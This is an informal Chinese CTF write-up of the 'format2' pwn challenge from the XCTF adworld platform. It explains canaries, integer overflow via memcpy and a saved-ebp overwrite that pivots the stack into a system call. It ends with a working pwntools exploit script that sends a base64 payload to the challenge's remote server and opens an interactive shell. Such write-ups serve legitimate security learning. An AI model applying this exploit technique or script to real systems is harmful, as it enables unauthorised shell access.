###上周做了两个题,结果笨人去准备csp认证去了,准备了一周结果还是考了一坨,麻了,发现可能还是不适合打算法呜呜(羡慕算法大佬),笨人还是乖乖搞CTF手艺活了(两道题的题解回头有时间发,这次先做个难度5的复健去)
format2初试:
https://adworld.xctf.org.cn/challenges/list
题目链接放在上面了,还是攻防世界的(BUUCTF难度好大,下次一定)
DIE结果我就不放图了,结果是32位linux上面的,没有壳。
但是checksec出现了canary found,这就比较有意思了,我也是第一次做这个题目。
查了下资料发现,其实是在我们ebp低四位的位置上插入了一组随机数,导致如果我们还是按照以前栈溢出攻击的时候,就算我们填满它了(污),如果这段随机数不匹配的话,程序自己会停止运行,那么我们需要泄露出来这段随机数。
这样的话,其实有点像格式化字符串的思路(但实际上并不是,,,晕)。
格式化字符串简介:
参考:https://www.freebuf.com/articles/system/317425.html
这位大佬讲的很接地气,可以直接看这位大佬的,这里就不在赘述了。
那就。。。直接来吧!
题目:
根据刚才的思路我们最想找的是printf 最好就是那种 read str之后 的printf
然后我们看看各个函数,找着找着就能发现 correct这个函数有猫腻
发现只要能够auth(v7)成立就行
现在我们找找能攻击的printf
…………………………
然后你会发现好像没啥能攻击的点()并且子函数又臭又长,如果还想着printf的话 实在难绷
但是我们发现有一个函数
memcpy 现在我们可以想到另一个东西,整数溢出(说白了就是利用unsigned /signed之间的范围差进行攻击)
整数溢出:
https://www.cnblogs.com/jopny/p/13527880.html
比较好的介绍如上
接着做题:
但是不应该攻击这里 最直接的攻击方式应该直接去auth里面去看攻击点
memcpy的作用是把input的地址拷贝a1个给v4地址上 注意无论a1是不是有符号数 在memcpy都会转成无符号数,这里就创造了一个攻击点。
v4放在了ebp-0x8的位置上 按理说上面紧跟着就是canary,如果我们放的input+读了很大的a1 就会覆盖掉栈上的东西
我们看一下auth的栈布局:
这很好,没从fs:28内存读东西,没用到canary 喜)
那这样的话,我们反而希望 从input读取的内容覆盖掉ebp 然后直接跳转到system函数就行
但是,观察到
这块v7<=12,因此我们最多读取12个字节覆盖ebp,
现在我们捋一下:输入一个字符串->base64解密(对于解密过程其实不用细看查网页就行)->v7不能大于12->进入auth进行整数溢出
观察到 auth里面
而 leave做的事情是把现在ebp指向的原来基址内容给到ebp上,说白了就是恢复ebp指向的内容。
mov %ebp,%esp
pop %ebp
现在就很有意思了,我之前刷题少 没见过这种攻击方式,就是说 现在如果我修改了基址ebp的内容 确实不影响后面的执行,但是! 当main函数要退出的时候,他也是会retn的,而它是要跳转到ebp所指内容+4的,就是(%ebp+4)上的,那么现在就很简单了。
我们解码后的input,将ebp覆盖成input的地址,现在演示一下会发生什么
payload='a'*4+sysm+input
系统将ebp覆盖成了input地址,当main退出的时候,转到了存input的地址,先leave,将ebp搞成了aaaa,然后retn将sysm地址给了eip,这样 就攻击成功了。
(之所以选择跳转到input,是因为我们这里只能通过覆盖ebp进行攻击,而不能想过去一样随心所以的retn。)
(服了,wp研究半天)
注意 这里得先到08049284 你得先传参数啊(捂脸)
代码如下:
from pwn import *
import base64
elf=ELF("./format2")
r=remote("61.147.171.105",53358)
sys_addr=0x08049284
inputs=elf.symbols['input']
payload=b'a'*4+p32(sys_addr)+p32(inputs)
r.recvuntil("Authenticate :")
r.sendline(base64.b64encode(payload))
r.interactive()
(还是见题目少,第一次见这种针对main函数的攻击)